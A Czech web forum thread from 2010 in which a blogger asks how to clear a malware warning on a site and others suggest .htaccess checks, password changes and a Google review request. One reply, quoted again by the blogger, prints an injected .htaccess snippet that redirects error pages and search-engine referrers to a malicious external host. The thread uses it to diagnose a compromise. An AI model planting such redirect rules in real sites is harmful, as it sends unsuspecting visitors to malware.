Problémy s Malware na blogu

24. 8. 2010 18:32:53

Ahoj,

den bojuji na svém blogu http://BeeLife.cz s malware, ani popravně nevím o co se jedná, snad o nějaký vir, který se dostává na Vaše stránky skrze Total Commandera, kde máte uložené heslo na FTP. Ano, to se stalo i na mém blogu. Nejprve jsem kontaktoval podporu na hostingu - postupoval jsem podle jejich pokynů (smazat automatické přihlášení na Total Commanderu a také jej raději nepoužívat). Vše jsem provedl, ale stránky jsou stále označeny jako nebezpečné.

Nahrál jsem od hostingu zálohu, která je stará týden zpět a vím, že v to dobu byly stránky bezproblémové a funkční. Nahrál jsem je na FTP, tentokrát pomocí jiného programu, než je Total Commanderu, otevřel blog - ale opět označený jako nebezpečný, obsahuje malware..

Jako třetí jsem stáhl z FTP veškeré složky do PC, "projel" je NODem 32 a ještě Anti-Malware - ale výsledky byly stejné.. Tedy žádný vir, ani malware na stránkách nebyl. Nicméně stránky jsou neustále označeny jako nebezpečné.

Mohu se zeptat, jak vyřešit tento problém? Předem děkuji za odpověď.

24. 8. 2010 18:32:53

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548044

Koci

(2 hodnocení)

24. 8. 2010 18:41:23

Nedávno jsem měl schovaný vir v htaccess. Ve všech subkách i v rootu se vytvořil htaccess se stejnou velikostí. Byl tam nastavený nějaký redirect.

24. 8. 2010 18:41:23

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548043

risolohyna

(9 hodnocení)

24. 8. 2010 18:42:35

len tak pre istotu - nikde si nespomenul, ze si zmenil heslo na ftp ;)

24. 8. 2010 18:42:35

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548042

Ondra Vomočil

(43 hodnocení)

24. 8. 2010 18:51:44

Ano, heslo jsem změnil..

---------- Příspěvek doplněn 24.08.2010 v 18:52 ----------

A co přesně se v tom souboru vyskytuje? Někde jsem se dočetl, že se jednalo o nějaký skript..

24. 8. 2010 18:51:44

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548041

Koci

(2 hodnocení)

24. 8. 2010 19:11:20

např.

Zkus to projet tímhle: http://elbiascan.sk/

24. 8. 2010 19:11:20

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548040

Ondra Vomočil

(43 hodnocení)

24. 8. 2010 19:17:55

Napsal Koci;558470
např.

ErrorDocument 500 http://ns1.eurekajewelrydesign.com/main.php?i=Jcmrj9caqf6nixj7VsdAw58XpA==&e=0 ErrorDocument 502 http://ns1.eurekajewelrydesign.com/main.php?i=Jcmrj9caqf6nixj7VsdAw58XpA==&e=2 ErrorDocument 403 http://ns1.eurekajewelrydesign.com/main.php?i=Jcmrj9caqf6nixj7VsdAw58XpA==&e=3 RewriteEngine On RewriteCond %{HTTP_REFERER} .*yandex.*$ RewriteCond %{HTTP_REFERER} .*odnoklassniki.*$ RewriteCond %{HTTP_REFERER} .*vkontakte.*$ RewriteCond %{HTTP_REFERER} .*rambler.*$ RewriteCond %{HTTP_REFERER} .*tube.*$ RewriteCond %{HTTP_REFERER} .*wikipedia.*$ RewriteCond %{HTTP_REFERER} .*blogger.*$ RewriteCond %{HTTP_REFERER} .*baidu.*$ RewriteCond %{HTTP_REFERER} .*qq.com.*$ RewriteCond %{HTTP_REFERER} .*myspace.*$ RewriteCond %{HTTP_REFERER} .*twitter.*$

Zkus to projet tímhle: http://elbiascan.sk/

Ano, přesně takhle podobný skript mám i já na svém blogu - jdu to zkusit..

24. 8. 2010 19:17:55

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548039

Koci

(2 hodnocení)

24. 8. 2010 19:31:49

Pak napiš jak to dopadlo. Budu rád za rep+ jestli jsem pomohl :-)

24. 8. 2010 19:31:49

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548038

Petr Baloun

24. 8. 2010 19:37:01

Myslim, ze to hlaseni, ze je web nebezpecny, se taha z google, a ze se to musi nechat proverit ve webmaster tools, ze uz neni web nebezpecny.

Sam jsem takovy problem neresil, ale nekdo o tom povidal. Vyzkousejte.

24. 8. 2010 19:37:01

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548037

Ladislav Výsmek

(14 hodnocení)

24. 8. 2010 19:41:35

Také jsem měl, zaplatil jsem pár stovek odborníkovi a ten to vyřešil :-)

24. 8. 2010 19:41:35

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548036

Otakar Pěnkava

(26 hodnocení)

24. 8. 2010 21:08:34

Napsal Petr Baloun;558488
Myslim, ze to hlaseni, ze je web nebezpecny, se taha z google, a ze se to musi nechat proverit ve webmaster tools, ze uz neni web nebezpecny.
Sam jsem takovy problem neresil, ale nekdo o tom povidal. Vyzkousejte.

JJ, s tímto souhlasím, musíš jim nahlásit, že stránky už jsou ok.

24. 8. 2010 21:08:34

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548035

Ondra Vomočil

(43 hodnocení)

24. 8. 2010 21:33:48

Napsal Whispere;558528
JJ, s tímto souhlasím, musíš jim nahlásit, že stránky už jsou ok.

A kde?

24. 8. 2010 21:33:48

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548034

Otakar Pěnkava

(26 hodnocení)

25. 8. 2010 10:01:33

Co se koukám, tak to tam máš pořád.

Píše to, že Google navštívil stránky naposledy 8-23 a ten kód tam pořád byl.

Jinak v Google Webmaster Tool můžeš požádat o znovuzkontrolování, ale kde to v GWT je, to ti neřeknu, nikdy jsem to nepotřeboval, takže jsem to ani nehledal.

25. 8. 2010 10:01:33

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548033

Ondra Vomočil

(43 hodnocení)

25. 8. 2010 10:38:50

A já nahrál zálohu někdy z minulého čtvrtka, kdy vím, že stránky fungovaly bez problému, ale stejně tam ten malware je :(

25. 8. 2010 10:38:50

https://webtrh.cz/diskuse/problemy-s-malware-na-blogu#reply548032

Otakar Pěnkava

(26 hodnocení)

25. 8. 2010 13:22:10